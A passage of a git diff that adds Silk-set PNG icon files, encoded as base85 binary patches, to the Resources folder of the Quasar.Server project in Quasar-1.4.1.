z2pyX9GZt*w3IyWpBqouZ9TBDUCjj71ahpsggwSp?!_6p~6Ug^zToTz0k=O|cA@C)B z=4SI+2S7F9CYUB%6Rwf$PD%xpU1zsvH^-J3qhIec&_95xadrGMyZiUG;F`#)xFk#y zurJ!PJ?Af*(aYIc}SHy&e#bYkLxyZiN`;lMHCXuWKOBa9QbyiY}R8)+l!c;Lu zGC@p$z~K6Ij22J0)wsbx511;JB7MDISvY@^uJR9Nq@bi~L`zglHEQK03t2do(0Qs6*PW_{1G!HjEs!rv9U46 z$HzPJ|EKO<)u6Ypk6L#x)$Sg;sx@Y2o4k8D`Z@f|JD)qaVu_iqHj_a!UF&Z3Ql+}r bBu@VX$p^JhV-$eD00000NkvXXu0mjfw@)|D literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_open.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/door_open.png new file mode 100755 index 0000000000000000000000000000000000000000..64bab57ddd0e95ad9a73a3828ec29b5d0b4dd675 GIT binary patch literal 508 zcmVjv0zFqT|_}Gg5c7fH`2AZ7W59X^b!J!cjQKk5f=?+6Od?2ip|XV za}o2aVlr?zXY)SuzK59<5o~(S-oAM4Zm-OARNqAS>D|jO?sih$KIXi4#zC#p8KB*6 zhr2T^Gn@5ikAoUcb$HCpdndR#asC03%nV>=v|23yQc6ob;v>x`Pk}_f8e)=(a71(& zuqvL;W`>(lMgvR>P$S&_bg(E|oK*{Mf@#6E0Euv?l<^#(s{aI-7D5%5GI0madt{~$%;b@oK6JNMtzMm)GS2eE@_I zS~TaE^z1tT1me$mOd>fuB1*9ukjYHe@2!~sjG5tP)N7xSr3G9P+3oKa++V)SLaGru zn`QvjgqvWRa7{oUyOUDA37GDE%9f3r>9Muk`Z$59p<W>iYj7vxikNWw_8sK+%_fnobvCa5%KNOO6e%CReDLPLmVwdHp%H5J z8cVW-n2=oPDz8D+5J{LSmLlCXMPg`l3MX6KVJNMw&n~!g&9zA<=CHFVyLz1l^k+DTiboyDIuKD~MJE&R)Oo;bO6gPHCylVLL*a<{&sTsdkI7k&ZU WO{4dBd(FK70000k8yT(1{FYQ%eS|; zm`o-RZoVTR{e-VIhqwI*@698e;uMa`17cSLjDP=8fDVU4RsnS8Z94N(YF@*3(F0$4 zfa7WccWVI`$$I$2KUI8TegR;jN^7ao%gZYfmZXUHr+K`!3i#+L;%mCJVqO6-QJb`Wzkm6y zdWlr63*W^xBEov}S^$&R>(#p5?x)3Kp>&7LPwULD0+^gmrwKcHWY#OW8%2BFWlgZRE7!1(s^(^f!rJbe79GNxG aJ%0hDwGFRvSa|pV0000lQkd! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink_empty.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drink_empty.png new file mode 100755 index 0000000000000000000000000000000000000000..4342607715c1365ade350e476d2a96b135c63a3c GIT binary patch literal 380 zcmV-?0fYXDP)IMa3k)(p`+Z2i*N~d1tMZk%S_C&x`1&!x;VJvzM7 zouFoNYAW8dysnesy14VA>PVx^x;`W$%Lzio`nLGiAYTq>rywT-qDo+6< zYTp`t(Pv}yn`Z#B87*^8Ao%B#<84{P&d_C*Q&w{;&L!&%*tSLTdt^vZCxJ=~Kfb)z zHUW|L4F&@mG^q2!0D~hutqBM#DrZ!vF=WUS1@>9MtxVkzw5=)r>~dw1d3;rG)}y#> a9d)B}ogvCG?1T$~3Fq3!-Pv8jz&*Kf8WQVzd!A1j{2nK?f2!d1H)n(AV zgOSNrP)WV_zM{$*|JRIt1s-5nYpp~Afq)OC>F%n9` zNF)@)bBy4n20_{2m=&*)xI$SXwI7K@6vdGWW|t8N_z^`(+>l7vAB>T*V1Z7-*}nr_ r67fIn^Q|!E+aXA~XU1CV_WtHC5FUsGHW^Hj00000NkvXXu0mjfwe)=P literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_add.png new file mode 100755 index 0000000000000000000000000000000000000000..29a35d5aa8d270d0cc2e2fb29de8c8b5a82022d0 GIT binary patch literal 623 zcmV-#0+9WQP)JieWo?|tumGdpatSl}!}!5N1pKRTVx zYtQov9GK7Nn9XJZrqgMF$z(#YQ7)H@#ADO~CtouR!$~HSBI(}|Zd2EFIF5r}uUD*8 zDh=U)D?W_J;}{GEFikTcg^Bdt@Anal#gNHlNOYYqH(0CH66%RW0;AFBgk5Tdh>S6) zsw&i@(I_I327D}hnA}^In5vQP$D)maB4FVOQ z0hf5YdVgCqA3E{(5>wnYI+BvLk;4J;Fx*1L!MP-8z)TFztX+(o=;@1Xf{ z8zaR&EeYiS+`6&~Pw{a1dUSK7c$Mb_%(D;egYqi>H=r0SR#1Hd3 zbY|nm@?BBzL2(N&Tbo$0>hYiWzmcyj9o@cp-I~M4TIne^cJIJaO+4GKx~F$XWFb(ha-_q6-cG~B>a{s~x5BE5t9KSg>n~%S){RQIedSx-2#tZ-e002ov JPDHLkV1g!V6x{#- literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_burn.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_burn.png new file mode 100755 index 0000000000000000000000000000000000000000..80fd79f982e772844d58a90c9fdcf751c0181120 GIT binary patch literal 608 zcmV-m0-ybfP)tfHeA#B@4EsZ>I@+pVj_wGl1!`;fAZ@BPyc*{%{DQ6l*Sduq6YK_q`$aad3fgM z_ekw|u=PEl%wY6A95^RJ9cwfir`*e7?3P6{#i4zSea*qf&Ng&+6F8!a!yEs&#rMg> zOSbMY{eHn3+8ew!u><|u0$y@(gU6WP*mpM{*FPp7qvaX!cXz}sg}~)M{7V417_C?E um_6W6ZUPfY#aDvu>=s~f6Xp literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd.png new file mode 100755 index 0000000000000000000000000000000000000000..1850b701cf20400207e7c4ce777940ec1645f43c GIT binary patch literal 734 zcmV<40wMj0P)D#T)oK}@`dJc1(dv;c^7(ug?CMS@EEn0?c*sF z3P%K-mYq3^jLc5Vc7U&qeYB>sSiC!n&6bXU$Aw?*ANcTP2ld^3Ts5)(*a*W}4_K`CjXMiGcc5@kj m+H2c16vJlWuPt`?cfmIc6oxriPg^Gd0000_P+#g$MH7vfLQmHX~h5`qmw zX%SqwFr*kv!PKM2!+a za=FeGc#O|esT54pL?jaNK|vs`yWK95$s}}LC(;csU1yC(gR`g8X;_wZPA-i?K*ktk zS?27CL;|r`4Ap8C?RLAU5IaeyS*b`>Rqld4sD$ElI>l%-LO!2Iv)SBGh-o++qTlcH z0}@4am=wicfoP;@8n4S{vxF%q#7eW0(+6^D zK*hm7u-N;I^p71#?@ZXq1st#5=VS8*0!W}-F6T=oFy*6rAF+f3tUP>zh<*#FUu)Rg z*}{#Z=vf2$17g0QT){rre2<%@$58hTVEZNJ=2N(?Eo0^T7bxC|Rx6dtTHu!XQTW>L zL#T^7aPR5gEBs;!^Y+QvP5htL?kGQ3*B@Mq9elv})WnIGJGNwe+ehz0k7@48)wj)0 z+s?016qX#q(SV`dW3EU2nqBlc@2+dlhJ(XLvdflTdDin#Z|>HdSAPI_FMg8I(Y~ty O00008>xgSt#M+4&ytoi#D*N41Z+^B#|P?m6e)_e2b?4zY&OB_}=DAs^R7#8!Y=OY%G)-&ea=GZxpJUOcs;X$US{MulrCP1l zj1&;#EnU|!8jTQ(#pa+zAg_nRAu^c^^7%ZI-k|NK=yW;}dp4VeX_~v_vK0mjAt1|g z#GX#4kxVAhXf)98_e%=1vvl^#hvM;g6c6fKNRybU<6(bF!;fGm( zXAbWw%ru!yU>HVJAZ84L0Nc|HimNAZc{zn=uZOsK_2jO)JZ>3y5u9IAMtJqZ@6xbyTAC>K0R6i|e-w$hhSe<|P&aDrLuIK1~Z zY~O<{sSJU@j%f8L}k)_ncR%Yp;$U*>^^d=_ENrHe3iQt_Z2vVu}yz dAF*M&_z5zVZIKEdNDEf2-s&}Y^ic31co00R|9}S-FA@q~ z1q;#;e^rr&XrtIjwGF1}(zLNg!zP<;)}57vSQHN(80NjleBU?o-Wz5Z26kf{c4@Zy zBArgpZf|dgO^2@Qs8*{D*EFr+l}d$TEE0)~5{^*|CitW%it(aPq3QK719D!Rt zgstUQNX^{WYy>KmO33H))&)^=tyTkFCPmsiYYBvUG&l|%N8$5Fh)jdi)eU#&9vcya zNr{LEWVU3L%yGY8*w?y(qr)xm^p2ylHVv_jA@g<-Rh>ihotZ|e)GIj=)SdPn!V<=Y z1$g?-qMW+}CVYe7aDrEJsO+D>X32n!2504-Zjlga{h}HSj&$6nW`5U+~3(a=n wM2C8~*KZr{mthE%IdwgMapK0pmw!#;FKVxMw^?5FRsaA107*qoM6N<$f)5QvuK)l5 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_error.png new file mode 100755 index 0000000000000000000000000000000000000000..309f63962c0e70dfab9154b1d241e63a7a70ac96 GIT binary patch literal 705 zcmV;y0zUnTP);h;AU9E{Nf?}n4dHXi&Fj3?{Kq#TSk zQPapp!o`EsHbz1ei)l$XP&pV;1eRsjdDDQc;nqpMyxGls@B7|+Gt9Cq9A`;5=2AwR zYPI@yI2F7lgTWZOu8-00_bC=KnM{g!j7s3-%XYiH7z_r*q5s$6GHo^+ip3)8 z^?E9s%@%|Mu6SS5G&Gw{I2?{K=`fM@jYb1ruNRR>ghZG5?*c2A%R=4n_oLlzAF)fN z5RowkS(b&m$K!#^Dd%^s_SSPi%=8=Zns;wqy$M)q7NeRl7wYR zI+*ZTt&TwA61=AtG4<&g?3h7!7(h52CQec!RjQRh2}YoAm9-Ie?!gn#Fl@iV>4iJ+ z>01~Y`gp`5!H7hbW3d>b(I{qTBbX1hFf)Gx=xw9)bPaB;3$^Q8Kog(@ zqtOZc`T|X#g2(rVtMBq|^1l4uL}ck628C6eoK6duESJl@;k8^lbjvW%ySU)n#6s#e zRNH%)dgI_SFdJl70{c4>)?aR5v+2*XNsnp!@zUME-1SGHb55>W;*NA|z4(kodJarJ z0XVPX!;_WomT6v@n4t9VVk3TQEi6lWu#6vc8;-m`*?AuOm5=!P`oVK$(hD>Cy1KoZ n?ph}A1#i|rSmOwamKFL7N2-X}^&G=H00000NkvXXu0mjf#EU~5 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_go.png new file mode 100755 index 0000000000000000000000000000000000000000..fc53379efcda49dc4b2fc0eb7bc12bf908425a53 GIT binary patch literal 661 zcmV;G0&4wR5;6} zQ_E@-Q5gPaa(xuUD*8Dh=U) zD{du|NeqWWL?V$HXdX!Y!C-(yB7saML!ujex*;{2O`)Djr7#|kPuQhW2q;Ms0)c=~ zkH_PP#bVGj4c%_H7$kMFPPNjeXf!IqSD$x6*>zo*ripw$k5;R-5hNwUFfba8!~yx6 z=rAe!W9?@Z6U#s;`2>;BIVg%EToOTn*l9o@UXrjZ%kl{a6J?6!^cr66Z{p$NQ>dy+ zm_m?Lsa6Uipdf-Tsn=YYU!iM*@iq1QD%O^6;K(%ay#ENB>Pu0!An<`?HJ8hY-2KIH zcfAb9D}@EUQ{QK< v0Jmp<;WRC~B^izzSeUp@_IuU)>d*fH-<_8fCSRm-00000NkvXXu0mjf03lk8@*o6WkjbwgV1sRJML-eYFIZ)SIxWm!0haX6s~?x9+( zzBf%XWdpgTa7&F_X!pDUVSLcJiXv>n%kh5hv)VO}6Rrcu*>p&}cN$ z*=)AxD6knHhe9Dpk_4a6H%^*Nq;s>`geZ!L#bQLdWIq>KxmRlJO3asib}Wl10= zMNuHjvNIqG9*stzVUl<6VtW-=pfBJA{vDXxH?tGP_G@_N?1IAz zxY2L>-wnbtbW~Tik=vSvplMnmpU+>P_{$t0<+qR!zvIl!JFxV(U}hJeUv*)2WbpQk zalI$JMDWVR3!6@-^ZR^0hgrbsbb{mYc#Ff~ zaEq6h7tG~UDiykfVW_fn~}VltVi=>K&uQzDT-rBZ>xU=T^C(`9175WnkmI+)F7 zAd|^%P4|tsAB{$!(P+T!b|dH$dtBz4%_gB63ncKeA(q}^@@i^YNr5{l4F%)(iC zhG(AVL8Vd=OB@i!>3F~bCW$DEM4|@4j=<;gCrG!@K&R8ea5$_r8jZG6 zAQ>OHu8Z+_49l{Tq|HQHk47VGZEeBxJR&`iuiLEK?JD+ME{ExK`kP#`LWztq=(?`h z9mhc?lR>N1!eB6{abhRw(fsn76!D&H|3dpiyy(@l<;Q-O67NiUbn zY9@U89>6pWgno!vw!setY_1~|TzyXp&<6hU?M;q=Spa`EfKdc9r) zPauILKg43Oaj{sW^Z88o;39xw7&IDpQ zluRb6R4UPOxopepp_oi25Ak?>TqqQ1zu&74SkNwrLI~0{O;tBdlM;yp4F&^RtyVQ% zzNeE;r_~z~6pcoeaCLttIB&Nb9gjyUm&-Jt&)Yhx91aKC?RI3_wnu<)2Ot3`0$bO0 z%49Oij|5dzp3P>eRVL#Jp-{+605bal3|!t-b^e}wK2N99Nd-fY6h3?@&jB`ku$iax zzssqrikyIF!UN?uYaE8@$J?8@%;1CV^G|G XPW_rzx-w*Y00000NkvXXu0mjf+4B7p literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_rename.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_rename.png new file mode 100755 index 0000000000000000000000000000000000000000..2a9f38b447dfe58b6e7e4f4dd19e51c606c01956 GIT binary patch literal 494 zcmVs8_uTX4Y-kx0Zb3`2sxi@(iqI1I;eFrUw>rfCj@fm`tmI1lXe8A$nG9B|)eT*?LZDI#!C+9TClU$7<8j!wjp=k+4X}DD zm6Bc=6pO{A3KM3tSWRjB3u3Y&vbW!FM!Ds*80#CD*ylh07*qoM6N<$f^*j1_y7O^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_user.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_user.png new file mode 100755 index 0000000000000000000000000000000000000000..0b4751ce423771231ff45a8703c639e4f06ad7c2 GIT binary patch literal 712 zcmV;(0yq7MP)MFsn&r|Epyjypv6#aTeRpe$bx~OS(J+u ziKs+K&9O<-nNg&9`o@MFKSrPWdgqp6fvY)iIQPDHf9H38=iJLll7yp}0!K8}Xpzh1 zB7?zTS$6dMeTbqs_Fk_y_HMUJF&YR2{Dk93f(*W_(P(0JyPX~S-zH_M)oR3IF_cOr ze=rz~vI=Cz`xc7@JkLX`)s8`vKw4KS6_`vWxLhtGU6DUWxlAU**lji&8jZ$3<&qQv zavTSxQpwnjMkDlkJ;LEI3Wb7SMeI~MX{AFtosRj4z0>L7?enKNOufY6P~KZl;o99* z_+_}f9qy)>v zL>mIhl32+K#h(fDsR-ug-LRRBq#I_(G1P@T%yKUXt0Gp?N=^yLDFLyQ85~aB3|xnP zMu&s?E>s2^Uazl1{5xuvU<4$P*Xw1GoaB7itzk16$C;%in5=Wy*~%j&=x|d0KTbds zpai4Qjrx#Ir?ItNM092W@wNAuRRhI?Su`ar5{U$>nhS+OZ)7c3CT({sQJ54y?Thu~E`U_x6Nu+_cBE@$l?6fBdTRU0H+XuR5x7B4VVArq=3l>9ie- z;>Z5f$7Habi0|)YP_F!d)oO*??Pg$)#{+RNM0xWw^d@6UH7$W;b>8NF)*lrM-)}Yd us~6=;4J0j@Ob#l1ePdzK{+P2k^1lIQD~Yof+B8c500004{FP;YV zAe~^`&|0W3;HDm2rM4TZb!vv~wlvL4?Jtm$#e;!|=lT8ed_T`iLJbB3*q^(v7c(<~ z@PkSILi|{vuz&oyS#LG(Kgz5X?YWd4Fce?AK6Cl$oNs|W?7Q%_dj{R34t^+))r}9r z?c$y1ryyf?;(5RS;jA~sHgyf#e}HEPB3{y4h=#(9*Wp^V=QH+;*|XDA@8lXhS_&I` z61396N&y8py@JBWZ+Fp$2XAycM^r8y9CO;iJn^fXJ4Zcs@1AcsZ<8L zKSesENH~&epvE{HeD^><+(VoL>bt+_LZL9o=kvlTz)(Eza5&P*WD-|AS?uh;MJ7b! zl2^mrIR!V9Tlms`kEPT-WV2ZW0)cccmrIXEP*rus=kuZ6ZX-NCiHqa6P~2XFs=Wfk z_VKaR!i}j#@Le8_Mg#G99QAsAc_@8BmCNOMp654Xu^2j?4*LE6$cA8$&rDGiXqpDg zvY42dfYa%OAP59@l~ELBB^V51=#3`Oefa zrqC4IA@)(sosif75R%{TA62p@n9C!vb)m!}k;n+JUMiIq%$BSpS!3&%mafPy UGkGjIO#lD@07*qoM6N<$f+^-cqW}N^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd.png new file mode 100755 index 0000000000000000000000000000000000000000..9d94de5df00c518c84b400de7176f15843af7f4b GIT binary patch literal 764 zcmVMI6@>P|2u(tv7b=KIl+wsgV@<@e*jCUY7=e;6+2+<% z=39E)&Y3&g&fIj=+>6`P?QFX`&qGIYeyIZ&_j7LU>vx{}ex9QMp!i!3hoiz`v1q5J zrk2OX#(tU2=D5jZ;*3V)&^yD>+0y!>h12O&N@ks8&IN-(#9}e*?d>6x$sn0b!tHip z=;c#!Sl4IJY6i-V0sff3@H~%Vv513%0}zNH2#7|b$mjDY=Jz4)bFfUm$BX9=Yyo#%fy_^Vi~$?>=7ebQy10Lgqx+IAtGPE$iF zm7BanwY5CZL_29lFjQ zCM5tP8H3V#SK46~Hk%C{9UVGFd3ibhRb(~<9FNE0^ZC%$*0xFk48y?V@xX4kL$BA< zViH545Y5XuGFZRgk3b-RNF;)mmX;_5kRsVcAVef5=jG_w@MD4TQnA7|E;L`+Jpmw+ z&7}Y}T982`mbNgn%46mSkGahVUVR)#&H2WW{~Dre(~oa! zJ}e1wsLs_D)K%4|=|$3LG&-x*ibz5_%J3Ro!V1=Xi&*h2V2O2L(fu7Bo}&X4B2n~f zU!$_RZsh1D4h{|~`=0eqfB0;K@28tW2w>SWk0ox7LRddTk8gBz6qV|#NtH^aJoYp7 z^zhOb?3 uWiDU67;9>7h&43TGxZI%!;-n8wEj1TbK{B5NGa9;0000WP)`Q5?tj59obeby-AUR|b{@bs>~!*$bhSkC@X$Ba2>;$TV}|${4yOb`fp`t(z$+ zx$R;$S<3Q-`M9_C;-=G4b8l|W?V0=boKugO-gw~4@0=g!`#Hb!CITSZDU-=mWH11dn0G4IpbUHCHF@eFs zK{}bl<>h6X7jooay22ojA8KM9(NiY!z5y=U8A(|Gvm||U2cHasvR9sox z10WL2I{{_PS+po_qV9DWZb(Ydq3lFS*(K|qEeIeIg)MZxeT-+H8GK>;Ft?&bkM1_E z_8h}0=BQ;~hgkLe42I_4V8|+?S1i@vLXTdI!o~w>`jBKYnS6YF9Kk4ml>rN^zFEwB zeqh!)g=xD9=Ub0slzoStZP?OB0Ds@JR4UEuc+sx^G^~Q>myJRQV8%I#X~%aI-#LVC zZ4J7#)zsWIRxMPJ+Wt&!ZEbmvS|1EFG}m#OF*PRVzfp+AZAR-rJu0M!@k(1uS0<5+ zd4N>3`+GJwH=V3&sO`UAQ^j7sb}?LDQ5r5SKgSj`M`jBf4<2fm!&`SJUH&hMQ6|8M|s4oam`l_?a8 zQJGA(B$Z0HBoawLEEXF@BGK6U$+7ao_4|QZtoE5EX=+?JI5{d9$^Q@V&pd6hSdhtN5R1h?A$GeRKA#WibQ+m-6sf2Y3i$`Tc-E^N z8Ge$#51>0!b26C(9jR0bbZs`95exJ+ zVRv_zLELUP35;7nW*0U~>L|vUNd)@cj$~eRU<19i?SvPp`y8LK0B+{Y*^HqnGALhu2t7= z9|2Hh%?ANJ6=$KSFM_;+i`m-KnBjNh^3@xp_@TD`VV_o9M^CuA{W(asd?n|*u7NIeySlb!R7aSacz5>WE;9^0o}X8BMf<9{cu`u(_0YD- e&Q5Bk^?w15=i8y;o%>k;0000F>2yJ z#Jp50{XIN9>>L~%)JY@~QNLJpYVZ1;fl8%fkg$-1!xoDL4u=D7w;Mj64=$Gr8qEqs zFB&3k!g{fQ-;}&dunm7OnM{bs;|K%-pd@Cq8JnA%h(@D`NBxNSb&$(mqNTawb5mnY z@{WMonS#UNFsLUIiGZ3LjYbdzK}$pap9p$a5DOYGKH7`A$7Nz#K*Gn#wqstemj*l@ z4=u6TY|v`8pz6_R1U{D*A+Lt+B24B^`SsYnyEoI4NLXmKT0upp)6o!hW=dqY+v#yA z=pqGbxK;}=n*yw!3nM_JeO~wD@_N61RPgQ_edJlMPa4rquQ!_V03)E^g z^m;uM3I+Q5`e=Z9udlDu^|4nK__g>DA?pb2@)r1)-y*uEAiKC4rv=oa1Vl-wP&F#0 z=a0dmu0hPNfZucrTVKnd5tm}A_Zlu2{A5s5mU>K#EV&nu_P@g z+nzySwG=^15eTvqgNTC}r4rxFPNbjV##ro(6ZA#m^ZCN*>1k{bR!mEI_&!>N#j$5t zSLVaFT8OQMO6c3q;)hxZ^Ts9`1zlifa65KxB9F&o)IY704U9-I*vtgnYtXjmVXEpN zzO<6NwlJYt_z0)diSF)hFj?&J^z?MbuAiy4ww6&@eZQmr%29;o1PCdgL)mZ|LpKg# zW=agnn;vkuoG^>U5+>kXf<*F99tbs-q{L)RoVer(J5pSbN#vZ%QfK9G+DJHU@A^Mv W{p7H4O;zsz0000C6`ri7_|ADA6V43{+Gs zb#88rbi*Xa-rS3u(~UXzqTAie-S+9+TZ$>sg%9W4!+oA}zUQ990l?WGwOXAkm&=7y zQ&WrM4e|!$M*I%B9RC}p%4rP zJ;dFw=(i$%zfjPg`Iq1iJZZIBkxr)(jYh#p91aJ3J|B|FB+^L=G-ZN(dH}CG>Xq$n zjhTA_W@ZLXBobgAnx?_LTPzj?gF#jrr#27^>ye7B;Oj&$nqOA-vjPHNB+E{P!(kTK z+1X(w>+9<<8jWDalSvwpkP-2)fn7y{q^9~&s`lxVTn>RnYiny@VltUnh^d(ox!rEI zACHBIKu16)>2Hx0#-UUyQC?my;$&xM0GrK*va+%zR-n`A zU^bhfQmN3_*T+Ik>vFkZHZDUq@c>&ZQrH%{VYl0{y1ELF#{({x>th8BybCcBCd?R< zmYQqWG)O>)EzpnLg;qO@d7TAD#|DZ^ZfzYBFxiF8%PMFFiV)izLu{i9e(N|E$LgWd zJMcwoL_yI_{h<!UH6!rXb6HALP zz&_J}xVI0Kr3`azIfy#y5wuNUq4zfO3ky?u`PVP82T33hh!hG1JVEj+*MCB9*J4Rp ziU8TT=xQw@<~zT$a*veq1`dS)!s=Y@-bw82?9AY|Hcx*VmB8jTK=(}u$6OcU9x*$6 zWQ9vgILo$_tpb#L1PcCXucGN>*4|~}@pu`}8tQr;S3RWF-FcvVR>b`?hr&E2o*0N;1=MDdx4(VVfd(+ZMTq zMxvM+sMBSwG<3O3Zn)`mluoDfvYY?TduXCb(1Abi^FBQP-+7+*oRjYdpOO~LJUW5vA)*P<4k9WPN* zlp!xHc<8$dAa5pSr_%}YxLhuf{m94&W@l$i}u&e1VoRsd|PV%JRO$laDX2ICl7>Kl5Eo~w* z6VT-3Bpo}JZ4^L78BJ6?O?BviTrLNP!x1o8EEfJ(s>s@8EZ6j1!28IX}GtKt%RwlH=ftg21UejD!~~WWSAtR9TMn*AWOU+l8i2 z0|<*aH@sm4FDOM62wA@XZ@yO0##hQRly#(|{$nwcB%wH3unni9!s`Edh}WojiTP<; z8j4y|kl&IBUK1O+%^XyA=OMl>1p9Ls9{NY(^ZA0Vt}a++sZVJh#ISJyan%RW__+*{ zz9*NVusautk}&Lhuw`j?CWA!-N=r+bd5?2D8sCXw_^GBL(L#TmDc^%r z&vqiDWIL|Z9)qBZhXhe5{4;$VeyPkO>n;uddO?1iLOVKyfjUmGq4CHh#${#IPAKMB7KAG_Zz-$NU2qgPyRYDi-8^{UGW@v7L1(bmYAaBFzvS(ShGCfDAq g&DfF2@LOB|8#4yVi|tZ9MgRZ+07*qoM6N<$g0=sL_y7O^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_key.png new file mode 100755 index 0000000000000000000000000000000000000000..da9307f66d45c824e1dab3417fc1fc2cca1348c1 GIT binary patch literal 816 zcmV-01JC@4P)_EVp2MD zq8T=|l(FsRwsdn&ZLNL1eYtJ#?sIgK3emyC=edW^>vhj__qiMZIe*9E;$pGUXdIZH zo?g}K^*<&iCVuI3I!de6szx=c(xdwi5|hc4%fd<)PPyG~1Ofqs!(qf?F@!=PSgjVQ z2D=%xvP(0d=*>GM_yfOpI-SU7vxvvzAd;=EE%^O@q|<3+(=-^Gg3&OBr+xS5d!IbY zI}ng36F8Mhfm{s3fZRJA4g`ZiPMV~5kce84No-(h@-;diH)}Wn3m36%XQI(42Sg$f zPU7`?VYAsl>ghCtSjdKC)XH^{Vx#qLW9DAlo#Gr8R(d=hkf11vgUHN8~=dA z78WovGQt65-QM2j>Ll+ForHg>1x#cKz8Nt#m)}4n68Sj+*~CLcLW0!zx_x#Kd&W92 zK@Eat8T_B6aE@L@dtF)Nn1BQi^L59&W+VgSNbE?F*d0P}O$ypA!}>sJ=GX|lh^+hw zvo9MFb@qYYyp6cK4fOXLpzXC-lAcce^Ce!X$cLf-99G9JB1~Ney>SU~rwB0{f%DN* zb3)1;B!xnuoSU1&Zjk+y-gQ{EzQXcp0Crt1+o~EdM-6C7h?VDOu_hP7)Ga{EPd`KkCCG}0W)I%K= u`(M<;>`YHdMsn?pr>eSA&BDb;_x}cBh2mUtnJEDP0000S}P$VM)Y%`)vL%rt*x{`~HJUuLZBW(OY5bH3;Ke%|MO&UtwNcz=e^=WFtKJY&nt z%l@UMrJsw7i^;jUxzP0VwCnAZ>(<}(SIOq)W*sp*iMbey#gIrOkWQzO%jJ+tr4S5m z!!>Rxy>yzV#vDWS*8soGA9r_mQLR>y&*woQ(P$L$cpT+&8P)OyN*5t`R%T$cKK2eh zds=@5pes{zu~-DXN~IF$b2uEv`T0467A}r)ncYU^@&`VBcmq@a{V4_@=9{GLN;aEi zhD;{IAV)_>;5ZIcFPBTmr8pF_LDof)gid>}@<6X{;t{j+;NSo>LZJ{d(LGbp$;k=J z3zsPZ2oPh8h1!O3J2dwYA3$z)#{AP@*(XJ-c+8ylFM zoMgrHet3Au^qNKo8;L})zrT;u(^K^H^u!r}7S&7?LW62Gy>|C~kKjun%z}#^L)zJO z_77lUVgj?Xv#{B0EZ6JxSYKa9V`C#MLsq6)pW870dIo}yPVU+k*4Eb0+}sSi-OgI1 zpOR`8iv_*Cz2L}@sYW}bHA0d2+do6pXf*I|Z9yy+LnstNp-{l#aKLCZvRp)TW51a} zbUIyz{Ya$1Nmm-Qn%Qa;;O9Q0t?f2eS6AWp``I?!ZZ`x10W9`c3}7;u@(eIMJX~iU zG_5>(qDP;mj{zPU^k{8uC6G2qrBW6&Z)s_PL?Ve(0QnD+SBGg}V4zN+l)sbSl~zYz zjAGtBkA;N=xLhu1wOSYq29{HeoX*6^$VifGGkEQ2HZ(Nc=4iA18bTrRJu)T*jV xr6Ql}&Y?uw@m{S~=SbwqyKH-VdxQ*}{|kdM&x8`N2Uq|A002ovPDHLkV1f$qd6fVF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/email.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/email.png new file mode 100755 index 0000000000000000000000000000000000000000..7348aed77fe6a64c2210a202f12c6eccae7fcf24 GIT binary patch literal 641 zcmV-{0)G98P)Az`{eoOom?Tf*9)f$7n8&|1&5M4#i^32;+&E? zC3Q;bRFQN#y*%%=_V)Mfa<$xe^kB0TO;vJPkN*k(2v-CI7)OaWj?&eKPos(H4wGh_ zIC;6#q1B5SMap5{(Hc0~XO7OfqZ=x{kupu8-H&9azl`L1pTuu^Znm3EA)kCoG=JuwsyNLEtY83i->Z~j3y~F)`RA1k>zTES07po!kBVS2y#L{jCt|CMY&v{ zxmqM|`OA#P2{R&)OcQd}v0kt6_Dh#`Z$i5_;q|93je3Q^PcfR{TmBHRmr;rWahz~G z2x-&;d_O~HkmKXt5Cd#Bs?-+qj3zOiUdU24KowBIUPg(gPNmxqX)Fiia~V*$y;5L( zrGNmU;81MA$F2k%oeUXQ@}N%bXz=qOij$4IYk4W=jfhDxfCz{PGXe-#ge#VfYTyoj zh4JvDePrW{lf(Oux2xG;VZmlSvDU+Qf@i=O!B`MLglhttCUHDIKkc7RvVeTifTlZGEZNAHZ7i+XD6HF1R0l=P zfyscSl7Z{b3aDs0m6Ms>RMQy=_$j(NqsYBiu(n~MBTC@sVniQ-D7XOPL4s1%z@zCE z#9N|hjR!nUwAQdZiP;?yq&uRRc&DJEnrMqqk0|m)F^Qn8x?}}ytx;sVA|RXQQLVw6 z-Q)+esR)vZ5Jso+9>FEb93>v#dzD8l7V^#ng}-dn>P-cNcgHd->U2#00Q?OKQ zcz8OiAj99uA_H|SPuZW&3N@X~?e9Wq4Gk3w0(oB67DQMxk;EU&)A-1l*) zwF(-Bfg`;q0Oz2az;d{^L@9A{Qbthn!_By>J%pVcu5B})M)9MP!_mWskZ#$7$!|}P z`+5u2Qa>-D{OhOAee6jGom7INCCqpO8QNurRMbW%$JB@W*x%C&Mj3iL2f>JmzJ2}B zsxKVD*jQa0xIB>v$lMc?Cfaft8sNECd2?0Pr~ovTHJW 